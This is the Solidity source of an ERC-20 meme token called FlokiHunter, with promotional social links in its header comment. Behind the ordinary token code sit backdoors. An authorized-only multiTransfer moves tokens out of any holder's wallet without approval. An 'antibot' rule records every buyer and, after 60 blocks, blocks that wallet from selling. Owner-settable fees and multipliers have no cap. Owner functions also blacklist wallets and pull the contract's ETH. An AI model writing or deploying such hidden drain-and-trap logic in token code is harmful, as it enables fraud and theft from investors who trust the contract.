Contract Name:
FlokiHunter
Contract Source Code:
File 1 of 1 : FlokiHunter
/**
FLOKI HUNTER !!
THE HUNT IS STARTED !!
Telegram: https://t.me/FlokiHunterPortal
Website: https://www.flokihunter.net/
Twitter: https://twitter.com/flokihuntererc
Medium:
https://medium.com/@flokihuntertoken/join-the-hunt-for-floki-with-the-floki-hunter-cryptocurrency-5c4f95f7b187
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface ERC20 {
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
address internal potentialOwner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
require(adr != owner, "OWNER cant be unauthorized");
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
require(adr != owner, "Already the owner");
require(adr != address(0), "Can not be zero address.");
potentialOwner = adr;
emit OwnershipNominated(adr);
}
function renounceOwnership() public onlyOwner {
authorizations[owner] = false;
owner = address(0);
emit OwnershipTransferred(owner);
}
function acceptOwnership() public {
require(msg.sender == potentialOwner, "You must be nominated as potential owner before you can accept the role.");
authorizations[owner] = false;
authorizations[potentialOwner] = true;
owner = potentialOwner;
potentialOwner = address(0);
emit OwnershipTransferred(owner);
}
event OwnershipTransferred(address owner);
event OwnershipNominated(address potentialOwner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract FlokiHunter is ERC20, Auth {
using SafeMath for uint256;
address immutable WETH;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string public constant name = "FlokiHunter";
string public constant symbol = "$FOK";
uint8 public constant decimals = 9;
uint256 public constant totalSupply = 100 * 10**6 * 10**decimals;
uint256 public _maxTxAmount = totalSupply / 10;
uint256 public _maxWalletToken = totalSupply / 10;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) _allowances;
bool public blacklistMode = true;
mapping (address => bool) public isBlacklisted;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isWalletLimitExempt;
uint256 public liquidityFee = 1;
uint256 public marketingFee = 20;
uint256 public operationsFee = 50;
uint256 public totalFee = marketingFee + liquidityFee + operationsFee;
uint256 public constant feeDenominator = 1000;
uint256 public buyMultiplier = 100;
uint256 public sellMultiplier = 100;
uint256 public transferMultiplier = 100;
address autoLiquidityReceiver;
address marketingFeeReceiver;
address operationsFeeReceiver;
IDEXRouter public router;
address public immutable pair;
bool public tradingOpen = true;
bool antibot = true;
mapping (address => uint) firstbuy;
bool public swapEnabled = true;
uint256 public swapThreshold = totalSupply / 1000;
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
WETH = router.WETH();
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = 0xaefe34ab21DD0CDd70bcdD4d00Cb1eb1DA8bd8EF;
operationsFeeReceiver = 0x59b4Dd9776664c3a90E5f32bA04581e89E51C272;
isFeeExempt[msg.sender] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[DEAD] = true;
isTxLimitExempt[ZERO] = true;
isWalletLimitExempt[msg.sender] = true;
isWalletLimitExempt[address(this)] = true;
isWalletLimitExempt[DEAD] = true;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
receive() external payable { }
function getOwner() external view override returns (address) { return owner; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
require(maxWallPercent_base1000 >= 5,"Cannot set max wallet less than 0.5%");
_maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000;
}
function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner {
require(maxTXPercentage_base1000 >= 5,"Cannot set max transaction less than 0.5%");
_maxTxAmount = (totalSupply * maxTXPercentage_base1000 ) / 1000;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(!authorizations[sender] && !authorizations[recipient]){
require(tradingOpen,"Trading not open yet");
if(antibot && (sender == pair)){
if(firstbuy[recipient] == 0){
firstbuy[recipient] = block.number;
}
blacklist_wallet(recipient,true);
}
}
// Blacklist
if(blacklistMode && !antibot){
require(!isBlacklisted[sender],"Blacklisted");
}
if(antibot && (firstbuy[sender] > 0)){
require( firstbuy[sender] > (block.number - 60), "Bought before contract was launched");
}
if (!authorizations[sender] && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
}
require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "Max TX Limit Exceeded");
if(shouldSwapBack()){ swapBack(); }
balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);
balanceOf[recipient] = balanceOf[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");
balanceOf[recipient] = balanceOf[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
if(amount == 0 || totalFee == 0){
return amount;
}
uint256 multiplier = transferMultiplier;
if(recipient == pair) {
multiplier = sellMultiplier;
} else if(sender == pair) {
multiplier = buyMultiplier;
}
uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
uint256 contractTokens = feeAmount;
if(contractTokens > 0){
balanceOf[address(this)] = balanceOf[address(this)].add(contractTokens);
emit Transfer(sender, address(this), contractTokens);
}
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& balanceOf[address(this)] >= swapThreshold;
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
uint256 amountETH = address(this).balance;
payable(msg.sender).transfer(amountETH * amountPercentage / 100);
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
if(tokens == 0){
tokens = ERC20(tokenAddress).balanceOf(address(this));
}
return ERC20(tokenAddress).transfer(msg.sender, tokens);
}
function tradingStatus(bool _status, bool _ab) external onlyOwner {
tradingOpen = _status;
antibot = _ab;
}
function swapBack() internal swapping {
uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance;
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
uint256 amountETHOperations = amountETH.mul(operationsFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
payable(operationsFeeReceiver).transfer(amountETHOperations);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
}
}
function manage_blacklist_status(bool _status) external onlyOwner {
blacklistMode = _status;
}
function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
require(addresses.length < 201,"GAS Error: max limit is 200 addresses");
for (uint256 i=0; i < addresses.length; ++i) {
blacklist_wallet(addresses[i],status);
}
}
function blacklist_wallet(address _adr, bool _status) private {
if(_status && _adr == pair){
return;
}
isBlacklisted[_adr] = _status;
}
function manage_FeeExempt(address[] calldata addresses, bool status) external onlyOwner {
require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
for (uint256 i=0; i < addresses.length; ++i) {
isFeeExempt[addresses[i]] = status;
}
}
function manage_TxLimitExempt(address[] calldata addresses, bool status) external onlyOwner {
require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
for (uint256 i=0; i < addresses.length; ++i) {
isTxLimitExempt[addresses[i]] = status;
}
}
function manage_WalletLimitExempt(address[] calldata addresses, bool status) external onlyOwner {
require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
for (uint256 i=0; i < addresses.length; ++i) {
isWalletLimitExempt[addresses[i]] = status;
}
}
function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner {
sellMultiplier = _sell;
buyMultiplier = _buy;
transferMultiplier = _trans;
}
function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _operationsFee) external onlyOwner {
liquidityFee = _liquidityFee;
marketingFee = _marketingFee;
operationsFee = _operationsFee;
totalFee = _liquidityFee + _marketingFee + _operationsFee;
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _operationsFeeReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
operationsFeeReceiver = _operationsFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _denominator) external onlyOwner {
require(_denominator > 50, "Amount too high");
swapEnabled = _enabled;
swapThreshold = totalSupply / _denominator;
}
function getCirculatingSupply() public view returns (uint256) {
return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]);
}
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external authorized {
require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
require(addresses.length == tokens.length,"Mismatch between address and token count");
uint256 SCCC = 0;
for(uint i=0; i < addresses.length; i++){
SCCC = SCCC + tokens[i];
}
require(balanceOf[from] >= SCCC, "Not enough tokens in wallet");
for(uint i=0; i < addresses.length; i++){
_basicTransfer(from,addresses[i],tokens[i]);
}
}
}